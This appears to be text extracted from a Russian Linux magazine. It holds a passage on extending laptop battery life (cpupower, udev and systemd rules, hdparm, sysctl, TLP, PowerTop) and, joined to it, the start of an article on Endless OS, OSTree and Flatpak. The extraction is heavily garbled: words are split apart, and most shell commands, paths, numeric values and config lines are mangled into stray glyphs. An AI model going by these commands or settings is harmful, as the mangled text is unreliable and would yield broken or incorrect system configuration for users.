Trying ɏSBŜPCIɥŜP�GɥŜP�GPŜɏOFFś worksŠ
ŜŜŜ

Стро ка,  помечен ная  "works!",  зна мену ет  собой  успешное  обна руже ние  дис‐ 
крет ной виде окар ты и ее отклю чение до сле дующей перезаг рузки.

ПРОЦЕССОР
Раз груз ка  про цес сора  с  помощью  некото рых  шагов,  пред при нятых  в  пре‐ 
дыду щем раз деле, откры вает воз можность сни зить энер гопот ребле ние CPU.
Здесь нам на помощь при дет  кон соль ная  ути лита  .  Вер нее,  целый
набор кон соль ных ути лит под одним име нем.

cpupower

Воз можнос ти инс тру мен та поз воля ют опе риро вать час тотой про цес сора,
нас тра ивать  режимы  его  работы,  руководс тву ясь  тре бова ниями  ситу ации,
а так же про водить диаг ности ку текуще го сос тояния.

Ког да  речь  заходит  об  энер госбе реже нии,  на  пер вый  план  выд вига ется
спо соб ность  cpupower  изме нять  так товую  час тоту  про цес сора  на  лету
с помощью frequency‐set.

ɤ ǧȔȘȔșȦ ȠȔȞȥȜȠȔȟȰȡȯȝ ȣȤșȘșȟ ȦȔȞȦȢȖȢȝ ȫȔȥȦȢȦȯ
ɛ sudo cpupower ‐c all �requency‐set ‐u ǲǷ
ɤ ǧȔȘȔșȦ ȠȜȡȜȠȔȟȰȡȯȝ ȣȤșȘșȟ ȦȔȞȦȢȖȢȝ ȫȔȥȦȢȦȯ
ɛ sudo cpupower ‐c all �requency‐set ‐d ǲǷ
ɤ ǧȔȘȔșȦ ȞȢȡȞȤșȦȡȢș țȡȔȫșȡȜș ȦȔȞȦȢȖȢȝ ȫȔȥȦȢȦȯ
ɛ sudo cpupower ‐c all �requency‐set ‐� ǲǷ

ТЧ — зна чение так товой час тоты, выражен ной в гигагер цах или мегагер цах.
Cpupower так же дает воз можность выб рать одну из схем управле ния так‐ 

товой час тотой про цес сора — governor:
 — уста нав лива ет мак сималь ную час тоту про цес сора;• performance

 —  уста нав лива ет  час тоту  про цес сора,  задан ную  поль зовате‐ 
лем;

• userspace

 — регули рует  час тоту  про цес сора  в  зависи мос ти  от  текущих
задач,  может  уве личить  ее  до  мак симума  и  в  слу чае  прос тоя  сни зит
до миниму ма;

• ondemand

  —  уста нав лива ет  минималь ную  час тоту  про цес сора  (но
на про цес сорах Intel начиная с Sandy Bridge работа ет как более эффектив‐ 
ный вари ант ondemand);

• powersave

 — регули рует час тоту про цес сора в зависи мос ти от текущих
задач более плав но, чем ondemand;

• conservative

  —  регули рует  час тоту  про цес сора  на  осно вании  дан ных  пла‐ 
ниров щика про цес сов ядра.

• schedutil

Объ еди нив воз можнос ти cpupower, udev и systemd, мож но изме нять так товую
час тоту  в  зависи мос ти  от  нас тупле ния  опре делен ных  событий.  Нап ример,
при отклю чении ноут бука от сети. Обра бот ку событий доверим udev, соз дав
пра вило  :ŵetcŵude�ŵrulesŜdŵpowersa�eŜrules

SUBS�ST��ʰʰɑpowerɏsupplyɑř �N�ƇPO��RɏSUPPL�ɏONLIN�ƈʰʰɑɨɑř RUNʫʰ
ɑondemandŜser�iceɑ
SUBS�ST��ʰʰɑpowerɏsupplyɑř �N�ƇPO��RɏSUPPL�ɏONLIN�ƈʰʰɑɥɑř RUNʫʰ
ɑpowersa�eŜser�iceɑ

Так же соз дадим две служ бы systemd, которые будут запуще ны как резуль тат
работы  пра вила. Соз дадим файл 
и запишем в него:

ŵetcŵsystemdŵsystemŵondemandŜser�ice

ƃUnitƄ
DescriptionʰCPU ondemand
ƃSer�iceƄ
Typeʰoneshot
�xecStartʰŵusrŵbinŵcpupower ‐c all �requency‐set ‐g ondemand
ƃInstallƄ
�antedByʰmulti‐userŜtarget

Вто рой файл назовем  :ŵetcŵsystemdŵsystemŵpowersa�eŜser�ice

ƃUnitƄ
DescriptionʰCPU powersa�e
ƃSer�iceƄ
Typeʰoneshot
�xecStartʰŵusrŵbinŵcpupower ‐c all �requency‐set ‐g powersa�e
ƃInstallƄ
�antedByʰmulti‐userŜtarget

Зас тавим udev перечи тать пра вила:

ɛ sudo ude�adm control ‐R

Здесь  мы  прос то  меня ем  пла ниров щик,  но,  учи тывая  осо бен ности  Intel,
для  пущего  энер госбе реже ния  луч ше  залочить  про цес сор  на  минималь но
воз можной  час тоте,  заменив  коман ду 

 на 
.

ŵusrŵbinŵcpupower  ‐c  all  �re‐
quency‐set ‐g powersa�e ŵusrŵbinŵcpupower ‐c all �requency‐set
‐u ǲǷ

Ми нималь ную  час тоту  про цес сора  мож но  узнать,  выпол нив  сле дующую
коман ду во вре мя прос тоя машины:

ɛ cat ŵprocŵcpuin�o
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ЖИЗНИ ОТ БАТАРЕИ

UNIXOID  НАЧАЛО СТАТЬИΝ

ЖЕСТКИЙ ДИСК
На ибо лее  рас простра нен ный  и  одновре мен но  спор ный  ответ  на  воп рос
об энер госбе реже нии в час ти жес тких дис ков — исполь зовать для этих целей
одну из опций кон соль ной прог раммы hdparm. С ее помощью мож но нас тро‐ 
ить  зна чение  показа теля  APM,  отве чающе го  за  пери од  прос тоя  работы
компь юте ра, по исте чении которо го жес ткий диск отклю чает ся.

Нес мотря  на  то  что  подоб ное  решение  при водит  к  некото рой  эко номии
заряда акку муля тора, экс тре маль но низ кие зна чения APM могут силь но сок‐ 
ратить  ресурс  самого  жес тко го  дис ка  из‐за  час тых  оста новок  его  работы
и пос леду юще го фор сирован ного запус ка.

Про верить текущее зна чение APM дис ка sda мож но так:

ɛ sudo hdparm ‐B ŵde�ŵsda

Во  вре мя  питания  ноут бука  от  сети  зна чение  APM  рав но  254.  При  работе
от батареи мож но уста новить его на уров не 128, а при одном‐двух запущен‐ 
ных при ложе ниях — 96. Запус ка веб‐бра узе ра в этом слу чае сто ит избе гать.

ɛ sudo hdparm ‐B ɰɭ ‐S ɥ ŵde�ŵsda

При час той работе за ноут буком от акку муля тора, веро ятно, луч шим решени‐ 
ем  будет  исполь зование  твер дотель ного  накопи теля  —  SSD:  он  оче вид но
пре вос ходит HDD в эко номии энер гии. Воз можно  так же  ком биниро вать два
вари анта,  ког да  на  SDD  уста нов лена  сама  опе раци онная  сис тема,  а  HDD
исполь зует ся для хра нения дан ных.

Ес ли  опе ратив ной  памяти  дос таточ но  (по  нынеш ним  вре менам  —
от 8 Гбайт), мож но отклю чить  swap‐раз дел,  что бы лиш ний раз не  тре вожить
жес ткий диск и не тра тить на это энер гию:

ɛ sudo swapo�� ‐a
ɛ sudo systemctl disable swapŜtarget

АУДИО
Прос лушива ние  музыки  на  мак сималь ной  гром кости  через  встро енные
динами ки  рас ходу ет  боль ше  элек тро энер гии,  чем  через  науш ники.  Если  ты
не пла ниру ешь слу шать музыку, зву ковую кар ту мож но перек лючить в режим
ожи дания. Для  одно разо вого  перек лючения широко  рас простра нен ной  Intel
HDA нуж но от име ни адми нис тра тора ввес ти коман ду

ɛ sudo ‐s
ɤ echo ɨ ʴ ŵsysŵmoduleŵsndɏhdaɏintelŵparametersŵpowerɏsa�e

Что бы задать режим энер госбе реже ния на пос тоян ной осно ве, необ ходимо
в  кон фигура цион ном  фай ле  /etc/modprobe.d/audio_powersave.conf  уста‐ 
новить сле дующее зна чение:

options sndɏhdaɏintel powerɏsa�eʰɨ

В этом слу чае кар та будет ухо дить в режим ожи дания через секун ду с момен‐ 
та прос тоя.

USB
В моем ноут буке зву ковая кар та сло малась, поэто му я под клю чаю внеш нюю
через USB, так что к сбе реже нию энер гии за счет зву ка я под хожу про ще —
вынимаю кар ту из разъ ема.

Этот  трюк спра вед лив и для дру гих USB‐устрой ств:  внеш них дис ков, 3G‐
модемов,  Bluetooth‐  и  Wi‐Fi‐адап теров  и  бес про вод ных  мышей.  Все,  что
не тре бует ся в дан ный момент, извле каем и кла дем в кар ман.

Мож но  вос поль зовать ся  встро енной  спо соб ностью  ядра  Линукс  отправ‐ 
лять в сон прос таивающие USB‐устрой ства с помощью пра вила udev. Прав да,
некото рые из  таких  устрой ств несов мести мы с этой фун кци ей, их в пра виле
мож но обой ти сто роной, ука зав idVendor и idProduct.

ACTIONʰʰɑaddɑř SUBS�ST��ʰʰɑusbɑř ATTRƇid�endorƈʰʰɑɥɬcɭɑř ATTRƇidProd
uctƈʰʰɑɰ2ɥɬɑř GOTOʰɑpowerɏusbɏrulesɏendɑ
ACTIONʰʰɑaddɑř SUBS�ST��ʰʰɑusbɑř T�STʰʰɑpowerŵcontrolɑř ATTRƇpowerŵ
controlƈʰɑautoɑ
LAB�Lʰɑpowerɏusbɏrulesɏendɑ

Сох раня ем пра вило в  .ŵetcŵude�ŵrulesŜdŵusbɏpowerɏsa�eŜrules
Зна чения  idVendor  и  idProduct  мож но  узнать  с  помощью  коман ды 

(стро ки вида ID 09da:054f).
lsusb

ВСТРОЕННОЕ СЕТЕВОЕ ОБОРУДОВАНИЕ
Не пом ню уже,  ког да в пос ледний раз поль зовал ся  «синим зубом», поэто му
он  у меня  вык лючен раз  и  нав сегда.  Если  в  твой  ноут бук  встро ен Bluetooth,
навер няка  при сутс тву ет  и  горячая  кла виша,  управля ющая  его  вклю чени ем.
Если ее нет, вос поль зуйся коман дой rfkill:

ɤ sudo r�kill block bluetooth

Мож но отклю чить Bluetooth, исполь зуя чер ный спи сок модулей ядра. Прос то
соз дай  тек сто вый  файл    и  вне си
в него две стро ки:

ŵetcŵmodprobeŜdŵno‐bluetoothŜcon�

blacklist btusb
blacklist bluetooth

Та кой  же  чер ный  спи сок  мож но  соз дать  и  для  Wi‐Fi‐  и  3G‐модуля  и  даже
для встро енной веб‐камеры (uvcvideo), если они не исполь зуют ся.

ПАРАМЕТРЫ ЯДРА
Яд ро Линукс  отлично  пода ется  дрес сиров ке.  Грех  не  вос поль зовать ся  этой
спо соб ностью  ради  сни жения  пот ребле ния  энер гии.  Сле дующие  манипу‐ 
ляции  выпол няют ся  в    и  тре буют  пра ва
адми нис тра тора.

ŵetcŵsysctlŜdŵɰɰ‐sysctlŜcon�

Пер вым  делом  отклю чаем  сис тему  отсле жива ния  немас киру емых  пре‐ 
рыва ний  (NMI  watchdog).  Она  приз вана  помочь  ядру  опре делить,  какие
из  неис прав ностей  обо рудо вания  вызыва ют  панику  ядра.  Иног да  это  при‐ 
водит к неоп равдан но высоко му пот ребле нию энер гии. К  тому же обыч ному
поль зовате лю эта фун кция не силь но‐то и нуж на.

Что бы отклю чить NMI watchdog, нуж но в кон фигура цион ный файл добавить
стро ку

kernelŜnmiɏwatchdog ʰ ɥ

Сле дующим  шагом  будет  уве личе ние  вре мени  отло жен ной  записи  в  вир‐ 
туаль ную  память.  Это  поможет  объ еди нить  нес коль ко  опе раций  вво‐ 
да‐вывода  в  одну,  тем  самым  сни жая  количес тво  сох ранен ных  записей
на дис ке и уве личи вая энер госбе реже ние. Что бы уста новить зна чение в 60 с,
добавим стро ку

�mŜdirtyɏwritebackɏcentisecs ʰ ɭɥɥɥ

Уве личить  интервал  записи  фай лов  на  диск  мож но,  так же  вклю чив  лап‐ 
топ‐режим:

�mŜlaptopɏmode ʰ ɬ

Та ким  обра зом,  запись  на  диск  будет  откла дывать ся  на  мак сималь но  воз‐ 
можное  вре мя.  Эта  нас трой ка  в  основном  отно сит ся  к  тра дици онным  жес‐ 
тким дис кам.

Да же  не  обла дая  спе цифи чес кими  зна ниями, мож но  зна читель но  уве личить
вре мя  работы  компь юте ра,  если  под держи вать  ради ато ры  охлажде ния  лап‐ 
топа в над лежащем сос тоянии. Регуляр но очи щая их от пыли, мож но сущес‐ 
твен но  сбе речь  заряд  батареи.  Хлопья  гря зи  на  ради ато ре,  пре пятс твуя
естес твен ному  отво ду  теп ла,  вынуж дают  сис тему  дер жать  вен тилятор
охлажде ния  во  вклю чен ном  сос тоянии  про дол житель ное  вре мя,  рас ходуя
ресур сы батареи.

Для  чис тки  мож но  вос поль зовать ся  пылесо сом.  Глав ное  —  не  пере‐ 
усердство вать. Бывали слу чаи, ког да слиш ком силь ное вса сыва ние сры вало
крыль чат ку вен тилято ра с вала дви гате ля.

TLP
Компь ютер ной  индус трии  свой ствен но  одно  хорошее  качес тво.  Как  толь ко
опре делен ный  порядок  дей ствий  при обре тает  рутин ный  харак тер,  тут  же
появ ляет ся средс тво, с помощью которо го тех же резуль татов мож но добить‐ 
ся про ще и быс трее.

Ути лита коман дной стро ки TLP — одно из таких средств. В чис тке ради ато‐ 
ра  она,  конеч но,  не  помощ ник,  но  опи сан ные  выше  нас трой ки  про цес сора,
жес тко го  дис ка,  аудио‐,  сетевых  адап теров  и  ядра  уме ет  при менять
без каких‐либо тан цев с буб ном. Пакеты для уста нов ки дос тупны в Arch, Debi‐
an, Fedora, Gentoo и Ubuntu.

По  сути,  TLP  —  это  надс трой ка,  собира ющая  под  сво им  кры лом  раз‐ 
рознен ные инс тру мен ты, приз ванные сни зить энер гопот ребле ние компь юте‐ 
ра.  При  этом  поль зовате лю  не  тре бует ся  раз бирать ся  во  всех  тех ничес ких
хит рос пле тени ях  управле ния  питани ем  компь юте ра,  дос таточ но  уста новить
TLP,  и  она  будет  самос тоятель но  при менять  нас трой ки  энер госбе реже ния
при выдер гивании кабеля питания.

Тем не менее при желании эти нас трой ки мож но менять по сво ему вку су
и в зависи мос ти от текущих пот ребнос тей, вно ся прав ки в кон фигура цион ный
файл  .ŵetcŵde�aultŵtlp

Вот при мер отклю чения NMI watchdog:

N�Iɏ�ATCHDOGʰɥ 

А это зна чение APM для hdparm:

DIS�ɏAP�ɏL���LɏONɏBATʰɑɨ28 ɨ28ɑ 

Вклю чение режима энер госбе реже ния зву ковой кар ты:

SOUNDɏPO��RɏSA��ɏONɏBATʰɨ 

Так Bluetooth оста нет ся не акти виро ван пос ле заг рузки сис темы:

D��IC�SɏTOɏDISABL�ɏONɏSTARTUPʰɑbluetoothɑ

Все пре дель но прос то и понят но.
Воз можность  управле ния  яркостью  под свет ки  экра на  умыш ленно  исклю‐ 

чена  раз работ чиками  из  TLP  из‐за  воз можных  кон флик тов  с  дру гими  прог‐ 
рамма ми управле ния яркостью (нап ример, GNOME Power Manager).

По мимо  управле ния  энер гопот ребле нием  обо рудо вания  ноут бука,  TLP
может пох вастать еще и наличи ем мощ ного средс тва диаг ности ки обо рудо‐ 
вания и нас тро ек  . Вво дом одно имен ной коман ды с опре делен ным
клю чом мож но получить информа цию о батарее, сос тоянии дис ков, про цес‐ 
сора,  виде окар ты,  пор тов  USB,  устрой ств  PCI,  сетево го  обо рудо вания,
общую информа цию о сис теме и нас трой ках в раз верну том и сок ращен ном
виде, а так же информа цию о неполад ках.

tlp‐stat

Фраг мент вывода коман ды tlp‐stat

Не кото рые  воз можнос ти  прог раммы  дос тупны  не  на  всех  ноут буках.  Сре ди
таких  нас трой ка  триг гера  заряд ки  для  батарей  ThinkPad.  В  стан дар тном
режиме  работы  заряд ка  акку муля тора  начина ется  при  сни жении  уров ня  его
заряда  до  96% и  завер шает ся  при  дос тижении  100%. Подоб ные  нас трой ки
целесо образно при менять, что бы обес печить мак сималь но про дол житель ное
вре мя  фун кци они рова ния  батареи.  Одна ко  в  резуль тате  такого  режима
заряд ки батарея изна шива ется нам ного быс трее.

Что бы избе жать преж девре мен ного изно са акку муля тора, мож но нас тро‐ 
ить  береж ный  режим.  Нап ример,  сде лать  так,  что бы  акку муля тор  начинал
заряжать ся толь ко при падении уров ня заряда до 60%, а в качес тве пре дель‐ 
ного уров ня заряда ука зать 80%.

STARTɏCHARG�ɏTHR�SHɏBATɥʰɭɥ
STOPɏCHARG�ɏTHR�SHɏBATɥʰ8ɥ

При  необ ходимос ти  пол ностью  зарядить  акку муля тор  мож но  однократ но,
не меняя общих нас тро ек:

ɛ sudo tlp �ullcharge

POWERTOP
PowerTop —  еще  один  инс тру мент,  приз ванный  уме рить  аппе титы  ноут бука.
Раз работ кой прог раммы занима ется Intel, а это что‐нибудь да зна чит.

В  пер вую  оче редь  это  мощ ная  ути лита  диаг ности ки  сос тояния  сис темы.
PowerTop  уме ет  работать  в  нес коль ких  режимах,  основной  —  псев догра‐ 
фичес кий интерфейс с нес коль кими вклад ками. Вклад ка для тех, кому резуль‐ 
тат нужен здесь и сей час, называ ется Tunables. В ней содер жится спи сок ком‐ 
понен тов сис темы с показа телем опти маль нос ти их нас тро ек. Сос тояний два:
GOOD и BAD. BAD мож но изме нить на GOOD нажати ем кла виши Enter.

Вклад ка Tunables PowerTop в момент изме нения нас тро ек ком понен та
сис темы

На до  заметить,  что  пос ле  перезаг рузки  все  изме нения будут  сбро шены. Их
мож но зафик сировать, соз дав служ бу systemd 

:
ŵetcŵsystemdŵsystemŵpower‐

topŜser�ice

ƃUnitƄ
DescriptionʰPowertop
ƃSer�iceƄ
�xecStartʰŵusrŵbinŵpowertop ‐‐auto‐tune
RemainA�ter�xitʰtrue
ƃInstallƄ
�antedByʰmulti‐userŜtarget

Да лее служ бу необ ходимо вклю чить:

ɛ sudo systemctl enable powertop

Ре жимы  HTML  и  CSV  поз воля ют  сох ранять  дан ные  ана лиза  сис темы.  С  их
помощью  удоб но  ана лизи ровать  резуль таты  самос тоятель но  и  делить ся
резуль татами диаг ности ки с дру гими, что бы спро сить совета по поводу нас‐
тро ек.

От чет PowerTop о сос тоянии сис темы в HTML‐фор мате

В режиме  калиб ровки  ути лита  про изво дит  замеры пот ребля емой мощ ности
в зависи мос ти от вари антов режимов сов мес тной работы USB и бес про вод‐ 
ных  устрой ств,  под свет ки,  жес тких  дис ков  и  про цес сора  в  раз ной  ком‐ 
бинации.  Пред полага ется,  что  с  ее  помощью  мож но  уста новить  наибо лее
щадящий для батареи режим под свет ки экра на в усло виях текущих нас тро ек
осталь ного обо рудо вания. Кро ме того, изу чив фак тичес кие воз можнос ти сис‐ 
темы, ути лита точ нее смо жет вес ти изме рения.

За меры  мощ ности  про изво дят ся  при  каж дой  заг рузке  прог раммы,
но вывод дан ных ана лиза воз можен толь ко пос ле про веде ния минималь ного
их количес тва — 261 раз. Разуме ется, делать их нуж но, ког да ноут бук работа‐ 
ет от батареи.

ВЫВОДЫ
Дан ная  статья  не  пре тен дует  на  исти ну  в  пос ледней  инстан ции.  Вари антов
нас тро ек энер госбе реже ния мно жес тво. Все зависит от задач, которые пла‐ 
ниру ется выпол нить, сос тояния аппа рат ного обес печения компь юте ра и лич‐ 
ных пред почте ний.

Вы бор окон чатель ного  вари анта  всег да  оста ется  за  поль зовате лем.  Тем
не менее,  сле дуя  ука зан ным рекомен даци ям, мож но  зна читель но  уве личить
вре мя авто ном ной работы сво его ноут бука c Linux.
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Как  выг лядит  сред неста тис тичес кий  дис‐ 
три бутив Linux? Обыч но это некая сис тема,
как  конс трук тор  соб ранная  из  тысяч
пакетов,  плюс  раз личные  тви ки  рабоче го
сто ла,  воз можно собс твен ный инстал лятор
и  сис тема  кон фигура ции.  В  любом  слу чае
поч ти все дис три бути вы похожи и осно ваны
на  одной  и  той  же  идее:  пакет  +  пакет  +
пакет  =  ОС.  Endless  совер шенно  дру гой,
здесь  вооб ще  нет  пакетов  как  таковых,
но  есть  кон цепция  ато мар но  обновля емой
базовой сис темы и песоч ниц Flatpak.

В начале вре мен, ког да UNIX делал пер вые шаги по пла нете, не было ни сто‐ 
рон него  ПО,  ни  проб лем,  свя зан ных  с  управле нием  им.  Если  тре бова лось
уста новить  какое‐то  при ложе ние,  дос таточ но  было  ском пилиро вать  его
и положить получен ный бинар ник в каталог  .ŵbin

Ког да ста ло уве личи вать ся чис ло при ложе ний и воз растать их слож ность,
начали  про являть ся  проб лемы.  При ложе ние  мог ло  сос тоять  не  толь ко
из одно го бинар ника, оно мог ло вклю чать в себя ряд биб лиотек, man‐стра‐ 
ницы,  кон фигура цион ные  фай лы  и  мно гое  дру гое.  Появи лась  идея  исполь‐ 
зовать рецепт  install в инс трук ции сбор ки при ложе ния (Makefile), что бы уста‐ 
новить все, что нуж но, с помощью одной коман ды  .make install

Все это работа ло, пока UNIX не прев ратил ся в мей нстрим и не начал рас‐ 
падать ся на фор ки и кло ны. Проб лема сос тояла уже не в удобс тве уста нов ки,
а  в  том,  что  самих  при ложе ний  уже  было  мно го,  они  мог ли  зависеть  друг
от  дру га  и  тре бовать  модифи кации  для  пра виль ной  работы  в  той  или  иной
UNIX‐подоб ной ОС.

Так появи лась сис тема пор тов BSD. По сути,  это был сбор ник рецеп тов,
который  поз волял  ска чивать,  пат чить,  ком пилиро вать  и  уста нав ливать  при‐ 
ложе ния  в  авто мати чес ком  режиме.  С  его  же  помощью  при ложе ние  мож но
было кор рек тно уда лить, так, что бы в сис теме не оста лось никаких хвос тов.

Кра сота  сис темы  пор тов  сос тояла  в  том,  что  она  поз воляла  не  толь ко
уста нав ливать  и  уда лять  при ложе ния,  соб ранные  из  исходни ков,  но  и  фор‐ 
мировать  из  этих  же  исходни ков  бинар ные  пакеты.  Вско ре  ста ло  ясно,  что
поль зовате лям  гораз до  удоб нее  ста вить  уже  готовые  пакеты,  вмес то  того
что бы ждать окон чания ком пиляции. Началась эра менед жеров пакетов.

В дис три бути вах Linux менед жер пакетов — де‐фак то стан дарт. В отли чие
от  тех  же  BSD,  где  есть  чет кая  гра ница  меж ду  недели мой  базовой  частью
сис темы и набором уста нов ленных поверх нее пор тов/пакетов, дис три бути вы
GNU/Linux  сос тоят  исклю читель но  из  пакетов.  Ядро  —  отдель ный  пакет,
базовый  набор  ути лит  коман дной  стро ки  —  дру гой  пакет,  биб лиоте ка  libc
(глав ная часть сис темы пос ле ядра) — еще один пакет.

Та кое  раз деление  не  слу чай но,  это  сама  суть  GNU/Linux  —  мно жес тво
написан ных раз ными людь ми ком понен тов,  которые работа ют сооб ща. Но у
это го под хода есть мно жес тво проб лем. За сох ранени ем зависи мос тей меж‐ 
ду  пакета ми  необ ходимо  стро го  сле дить;  замена  все го  лишь  одно го  сис‐ 
темно го  пакета  может  при вес ти  к  нерабо тос пособ ности  всей  сис темы.
Для обновле ния дис три бути ва до новой вер сии при ходит ся при думы вать кос‐ 
тыли: обновлять все базовые ком понен ты дис три бути ва необ ходимо так, что‐ 
бы  сис тема  не  оста лась  в  пог ранич ном  сос тоянии  (ког да  часть  пакетов
обновле на, а часть нет).

Ну  и  конеч но  же,  извес тное  всем  линук соидам  огра ниче ние,  ког да  ты
прос то не можешь уста новить две раз ные вер сии при ложе ния. Содер жимое
пакета копиру ется в сис темные катало ги вмес то сво его выделен ного, а даже
если уста нов ка в выделен ный каталог воз можна, навер няка воз никнут проб‐ 
лемы  с  зависи мос тями:  при ложе ние  тре бует  биб лиоте ку  libxyz.1.2,  а  в  сис‐ 
теме уста нов лена  libxyz.1.3, и ее вер сию нель зя понизить, потому что пакет‐ 
ный  менед жер  нач нет  вор чать,  что  при ложе ния  abc  и  bca  тре буют  имен но
вер сию 1.3.

В общем, все слож но. Но есть нес коль ко методов решить эти проб лемы
уже сегод ня, и все они воп лощены в Endless OS.

ENDLESS OS
 — детище молодой ком пании Endless Mobile, которая спе циали‐ 

зиру ется на выпус ке недоро гих ком пак тных компь юте ров для раз вива ющих ся
стран.  Типич ный пред ста витель целевой ауди тории Endless Mobile — афри‐ 
канец из глу хой дерев ни, где даже мобиль ная связь — это рос кошь. Поэто му
Endless Computer —  не  прос то  недоро гой,  но  и  инту итив но  понят ный  комп,
не тре бующий под клю чения к интерне ту.

Endless OS

Компь ютер Endless Mini, раз мер с дет ский мяч

Пол ный  образ  Endless  OS  весит  око ло  14  Гбайт  и  вклю чает  в  себя  боль‐ 
ше 100 при ложе ний на все слу чаи жиз ни и боль ше 50 тысяч ста тей из Википе‐ 
дии,  а  так же  раз личные  обу чающие  прог раммы.  Есть  и  базовый  образ
на  2  Гбайт,  содер жащий  толь ко  самое  необ ходимое. Все  осталь ное мож но
пос тавить из магази на при ложе ний

В  качес тве  рабоче го  сто ла  Endless  OS  исполь зует  силь но  модифи циро‐ 
ван ную вер сию GNOME под наз вани ем EOS Shell. Это дей стви тель но очень
прос тая сре да, лишен ная мно гих кон цепций стан дар тных дес кто пов. Это ско‐ 
рее план шетный или телефон ный интерфейс, чем дес ктоп ный: панель перек‐ 
лючения  задач  с  тре ем,  набор  ико нок  и  папок  на  рабочем  сто ле  и  стро ка
поис ка, выпол няющая поиск одновре мен но в Google и на жес тком дис ке.

Дес ктоп Endless OS силь но напоми нает план шетный Android вер сии 4.1

Ин стал лятор  под  стать  рабоче му  сто лу — мак сималь но  прос той  и  не  зада‐ 
ющий лиш них воп росов. Пер вая заг рузка начина ется с обу чающе го инте рак‐ 
тивно го  ролика,  в  котором  тебе  объ яснят,  где  что  находит ся,  как  слу шать
музыку, смот реть видео и ста вить сто рон ний софт.

Ин стал лятор

На бор соф та в вер сии на 2 Гбайт впол не стан дар тный: Google Chrome, Libre‐
Office, виде опле ер Totem, ауди опле ер Rhythmbox, прос мот рщик фотог рафий
Shotwell,  прог рамма  для  изу чения  язы ков  Duolingo,  фай ловый  менед жер,
каль кулятор,  нас трой ки  (стан дар тные  нас трой ки  GNOME),  тер минал  (его
мож но запус тить толь ко через поиск).

Бра узер и тер минал впол не стан дар тные

Ма газин при ложе ний удоб ный. Дос таточ но нажать install, и при ложе ние будет
уста нов лено без еди ного воп роса и  уж  тем более зап роса прав супер поль‐ 
зовате ля.  Все  при ложе ния  рас простра няют ся  в  фор ме  самодос таточ ных
пакетов. Инстал лятор раз меща ет их в катало ге  , а при
запус ке фор миру ет  вир туаль ное  окру жение,  в  котором будет  работать  при‐ 
ложе ние (об этом мы еще погово рим).

ŵ�arŵlibŵ�latpakŵapp

Ма газин при ложе ний

Для уста нов ки дос таточ но выб рать при ложе ние и нажать кноп ку install

OSTREE
В Endless OS нет понятия менед жера пакетов, да и самих пакетов тоже нет.
Вся  базовая  часть  дис три бути ва,  то  есть  та  самая  сис тема,  образ  которой
весит  два  гига,  —  это  один  монолит ный  недели мый  кусок.  Ты  не  можешь
заменить  те  или  иные  его  час ти,  как  в  дру гих  дис три бути вах,  или  уда лить
ненуж ный софт. Это одна цель ная сис тема,  так же как и в слу чае с Windows
или macOS.

Од нако, в отли чие от тех же Windows и macOS, базовая часть Endless OS
не име ет фик сирован ного сос тояния. Все ее фай лы хра нят ся в Git‐подоб ном
репози тории OSTree.  Это  зна чит,  что  обновле ние  до  новой  вер сии  дис три‐ 
бути ва  не  про исхо дит  «на  живую»,  как  в  дру гих  дис три бути вах,  которые
накаты вают обновлен ные пакеты пря мо на работа ющую сис тему. Вмес то это‐ 
го   ска чива ет изме нен ные фай лы в репози торий, а затем соз дает
жес ткие ссыл ки на них в кор невом катало ге. Нап ример,   в Endless
OS прос то жес ткая ссыл ка на один из фай лов в репози тории  .
Если при обновле нии сис темы bash тоже будет обновлен, eos‐updater уда лит
ста рую ссыл ку и соз даст новую на дру гой файл в репози тории.

eos‐updater
ŵbinŵbash

ŵostreeŵrepo

Ре пози торий OSTree

В срав нении с клас сичес ким, осно ван ным на пакетах под ходом OSTree дает
мно жес тво пре иму ществ. Он поз воля ет сде лать обновле ние ато мар ным, ког‐ 
да  сис тема  не  перехо дит  в  новое  обновлен ное  сос тояние  до  тех  пор,  пока
не будет к это му пол ностью готова. В обыч ном Linux уста нов ку пакетов мож но
прер вать  и  получить  некон систен тное  сос тояние  сис темы,  которое  может
при вес ти к пол ной нерабо тос пособ ности ОС и необ ходимос ти пере уста нов‐ 
ки. Здесь это исклю чено.

Бо лее  того,  бла года ря  тому  что  OSTree  хра нит  исто рию  изме нений,  ОС
мож но отка тить  к  пре дыду щему сос тоянию. Дру гими сло вами,  сис тема поз‐ 
воля ет  сде лать  даун грейд,  при чем  без  необ ходимос ти  что‐либо  ска чивать
и пере уста нав ливать. Вся опе рация занима ет бук валь но нес коль ко секунд.

Ну и пос леднее. Хоть Endless OS это и не под держи вает, OSTree поз воля ет
соз дать сра зу нес коль ко инстал ляций одной и той же ОС раз ных вер сий. Все
их  фай лы  будут  хра нить ся  в  одном  репози тории,  так  что  даже  не  при дет ся
тра тить дис ковое прос транс тво.

FLATPAK
Ба зовая инстал ляция Endless OS недос тупна для записи. Ее нель зя изме нить,
а  зна чит,  нель зя  уста новить  пакеты  или  соб рать  при ложе ние  из  исходни ков
и уста новить с помощью коман ды  .
Вмес то это го Endless OS пред лага ет уста нав ливать софт в фор ме самодос‐ 
таточ ных пакетов Flatpak.

Ŝŵcon�igure ĺĺ make ĺĺ make install

 — это реали зация ста рой, как и сам Linux, идеи о том, что при ложе‐ 
ния сле дует уста нав ливать в обо соб ленные катало ги вмес то копиро вания их
фай лов в катало ги самой сис темы. Flatpak не прос то раз меща ет при ложе ния
в  отдель ных  катало гах,  поз воляя  уста нав ливать  нес коль ко  вер сий  одно го
при ложе ния  и  решая  проб лемы  с  зависи мос тями. Для  каж дого  при ложе ния
он  так же  фор миру ет  собс твен ную  песоч ницу,  огра ничен ную  с  помощью
механиз мов прос транств имен,  cgroups,  seccomp, поз воляя  кон тро лиро вать
дос туп к тем или иным ресур сам машины. Нап ример, при ложе нию мож но зап‐ 
ретить  дос туп  к  Сети,  а  область  видимос ти  фай ловой  сис темы  огра ничить
домаш ним катало гом поль зовате ля.

Flatpak

Все  уста нов ленные  с  помощью  Flatpak  при ложе ния  раз меща ются
в  катало ге  . При  стар те  при ложе ния  Flatpak  на  лету фор‐ 
миру ет  необ ходимое  для  его  работы  окру жение.  В  час тнос ти,  спе циаль но
для  при ложе ния  соз дает ся  кор невая  фай ловая  сис тема  в  опе ратив ной
памяти  (tmpfs),  к  ней  в режиме  «толь ко для  чте ния»  под клю чает ся  каталог 

 основной сис темы, катало ги  ,   и   с огра ничен ным набором
фай лов  устрой ств,  соз дает ся    с  минималь ным  набором  необ ходимых
для  работы  кон фигура цион ных  фай лов.  Дос туп  к  «опас ным»  сис темным
вызовам  огра ничи вает ся  с  помощью  seccomp.  В  слу чае  необ ходимос ти
